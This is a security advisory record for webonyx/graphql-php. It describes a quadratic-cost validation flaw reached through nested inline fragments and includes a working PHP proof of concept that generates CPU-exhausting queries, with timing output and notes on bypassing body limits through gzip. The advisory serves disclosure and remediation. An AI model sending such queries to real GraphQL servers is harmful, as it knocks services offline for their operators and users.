{"id":"GHSA-fc86-6rv6-2jpm","aliases":[],"url":"https://o3.security/vulnerability/GHSA-fc86-6rv6-2jpm","summary":"webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments","details":"## Summary\n\n`OverlappingFieldsCanBeMerged` validation rule has `O(n^2 x m^2)` worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.\n\n## Affected Component\n\n`src/Validator/Rules/OverlappingFieldsCanBeMerged.php`\n\n## Description\n\ngraphql-php is a PHP port of graphql-js and inherits the same `OverlappingFieldsCanBeMerged` algorithm. The rule performs an explicit `O(n^2)` pairwise comparison loop over fields collected for each response name (`collectConflictsWithin`), and recurses into sub-selections via `findConflict`. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to `O(n^2 x m^2)` where `n` and `m` are the number of inline fragments at the outer and inner levels respectively.\n\ngraphql-php includes a `comparedFragmentPairs` PairSet cache (the same class of memoization fix tracked under [CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)), but it is keyed by **named fragment** identity. Inline fragments have no name; they are flattened into the parent `$astAndDefs` map by the `case $selection instanceof InlineFragmentNode` branch starting at `OverlappingFieldsCanBeMerged.php:266`, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.\n\nThis finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30.\n\n## Root Cause\n\n### 1. Pairwise `O(n^2)` loop (`collectConflictsWithin`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306\n$fieldsLength = count($fields);\n\nif ($fieldsLength > 1) {\n    for ($i = 0; $i < $fieldsLength; ++$i) {                             // line 311\n        for ($j = $i + 1; $j < $fieldsLength; ++$j) {                    // line 312\n            $conflict = $this->findConflict(\n                $context,\n                $parentFieldsAreMutuallyExclusive,\n                $responseName,\n                $fields[$i],\n                $fields[$j]\n            );\n            // ...\n        }\n    }\n}\n```\n\n`count($fields)` grows without bound when multiple inline fragments select the same response name in the same parent selection set.\n\n### 2. Inline fragment flattening (`internalCollectFieldsAndFragmentNames`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266\ncase $selection instanceof InlineFragmentNode:\n    $typeCondition = $selection->typeCondition;\n    $inlineFragmentType = $typeCondition === null\n        ? $parentType\n        : AST::typeFromAST([$context->getSchema(), 'getType'], $typeCondition);\n\n    $this->internalCollectFieldsAndFragmentNames(\n        $context,\n        $inlineFragmentType,\n        $selection->selectionSet,\n        $astAndDefs,           // flattened into the parent map\n        $fragmentNames\n    );\n    break;\n```\n\n`N` inline fragments selecting the same response name produce `N` entries in `$astAndDefs[$responseName]`, which then trigger `N*(N-1)/2` `findConflict` calls.\n\n### 3. The named-fragment cache does not cover this code path\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41\nprotected PairSet $comparedFragmentPairs;\n\n// :54 (in __construct)\n$this->comparedFragmentPairs = new PairSet();\n```\n\n`PairSet` is keyed by `(fragmentName1, fragmentName2)`. Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.\n\n### 4. No comparison budget, no validation timeout\n\nThere is no counter shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. The rule runs to completion regardless of cost. graphql-php exposes no `validate_timeout` equivalent.\n\n## Proof of Concept\n\n```php\n<?php\n// composer require webonyx/graphql-php:v15.31.4\nrequire __DIR__.'/vendor/autoload.php';\n\nuse GraphQL\\Language\\Parser;\nuse GraphQL\\Validator\\DocumentValidator;\nuse GraphQL\\Utils\\BuildSchema;\n\n$schema = BuildSchema::build('type Query { field: Node }  type Node { f: Node, g: Node, x: String }');\n\nfunction gen(int $n, int $m): string {\n    $inner = implode(' ', array_fill(0, $m, '... on Node { x }'));\n    $outer = implode(' ', array_fill(0, $n, \"... on Node { f { $inner } }\"));\n    return \"{ field { $outer } }\";\n}\n\necho \" N    M  | size      | validate ms | errors\\n\";\necho \"---------|-----------|-------------|--------\\n\";\nforeach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {\n    $q = gen($n, $m);\n    $doc = Parser::parse($q);\n    $t0 = microtime(true);\n    $errors = DocumentValidator::validate($schema, $doc);\n    $elapsed = round((microtime(true) - $t0) * 1000);\n    printf(\"%4d %4d | %7dB | %10d  | %d\\n\", $n, $m, strlen($q), $elapsed, count($errors));\n}\n```\n\n### Measured output on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, Linux x86_64\n\n```\ngraphql-php version: v15.31.4\nPHP version: 8.3.30\n\n N    M  | size      | validate ms | errors\n---------|-----------|-------------|--------\n  20   20 |    7653B |         71  | 0\n  50   50 |   46113B |       2020  | 0\n 100   50 |   92213B |       7762  | 0\n 100  100 |  182213B |      29660  | 0\n 150  100 |  273313B |      66052  | 0\n 200  100 |  364413B |     117082  | 0\n```\n\nThe growth confirms `O(N^2)` outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes **117 seconds** of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.\n\n## Impact\n\n- **Default-on rule**: `OverlappingFieldsCanBeMerged` is part of the rules registered by `DocumentValidator::defaultRules()` and is enabled by default in `DocumentValidator::validate()`. Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.\n- **Pre-execution**: the cost is in the validation phase. `QueryComplexity` and `QueryDepth` rules cannot help: the example query has depth 3 and complexity 1.\n- **PHP `max_execution_time` hits the wall too late**: a default Lighthouse/Laravel deployment ships with `max_execution_time = 30` seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by `max_execution_time`, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.\n- **Body-size and WAF bypass via gzip**: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.\n- **php-fpm worker pool exhaustion**: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.\n- **Existing CVE-2023-26144 fix is insufficient**: the published `PairSet` cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.\n\nThis is the same vulnerability class as **CVE-2023-26144** (partially fixed by named-fragment memoization only) and **CVE-2023-28867** (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.\n\n## Affected Versions\n\n- **`webonyx/graphql-php@v15.31.4`** (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.\n- All versions of `webonyx/graphql-php` that ship `OverlappingFieldsCanBeMerged` (effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but were not retested individually.\n\n## Remediation\n\nThree options ordered from best to minimal:\n\n### Option 1 -- Adopt the Adameit algorithm\n\nReplace pairwise comparison with the uniqueness-check algorithm designed by Simon Adameit, used today by graphql-java (post CVE-2023-28867) and Sangria. The algorithm transforms conflict-freedom into a uniqueness requirement and runs in `O(n log n)` instead of `O(n^2)`. See [graphql/graphql-js issue #2185](https://github.com/graphql/graphql-js/issues/2185) for the design discussion and the [Sangria PR #12](https://github.com/sangria-graphql-org/sangria/pull/12) for the original implementation.\n\n### Option 2 -- Comparison budget\n\nAdd a comparison counter on `OverlappingFieldsCanBeMerged` shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. Throw a `Error` after a configurable threshold (for example 10,000 comparisons by default). This is the approach graphql-java implemented after CVE-2023-28867.\n\n### Option 3 -- Cap inline-fragment flattening\n\nIn `internalCollectFieldsAndFragmentNames`, cap `count($astAndDefs[$responseName])` at a configurable limit (for example 1,000) and emit a validation error if exceeded. This is a narrower fix that targets the specific bypass path but does not address other potential `O(n^2)` surfaces.\n\n## Resources\n\n- [CVE-2023-26144 -- graphql-js (partial fix, named-fragment cache only)](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)\n- [CVE-2023-28867 -- graphql-java (full fix via Adameit algorithm)](https://github.com/advisories/GHSA-p4qx-6w5p-4rj2)\n- [graphql-js Issue #2185 -- Faster algorithm for OverlappingFieldsCanBeMerged](https://github.com/graphql/graphql-js/issues/2185)\n- [Sangria PR #12 -- original optimised implementation](https://github.com/sangria-graphql-org/sangria/pull/12)\n- [GraphQL spec section 5.3.2 -- Field Selection Merging](https://spec.graphql.org/October2021/#sec-Field-Selection-Merging)\n- Companion advisory for this implementation: `GraphQL\\Language\\Parser` parser stack overflow via deeply nested queries (Unbounded recursion in parser causes stack overflow on crafted nested input).","published":"2026-05-04T22:22:09Z","modified":"2026-05-05T16:12:56.242445Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"webonyx/graphql-php","fixedVersion":"15.32.2"}],"fix":{"url":"https://github.com/sangria-graphql-org/sangria/pull/12","label":"sangria-graphql-org/sangria#12"},"references":[{"type":"WEB","url":"https://github.com/webonyx/graphql-php/security/advisories/GHSA-fc86-6rv6-2jpm"},{"type":"WEB","url":"https://github.com/graphql/graphql-js/issues/2185"},{"type":"WEB","url":"https://github.com/sangria-graphql-org/sangria/pull/12"},{"type":"WEB","url":"https://github.com/webonyx/graphql-php/commit/996adcfce33442f6fc01214777bc8620cc142d85"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9pv7-vfvm-6vr7"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p4qx-6w5p-4rj2"},{"type":"PACKAGE","url":"https://github.com/webonyx/graphql-php"},{"type":"WEB","url":"https://github.com/webonyx/graphql-php/releases/tag/v15.32.2"},{"type":"WEB","url":"https://spec.graphql.org/October2021/#sec-Field-Selection-Merging"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-05T16:12:56.242445Z"}}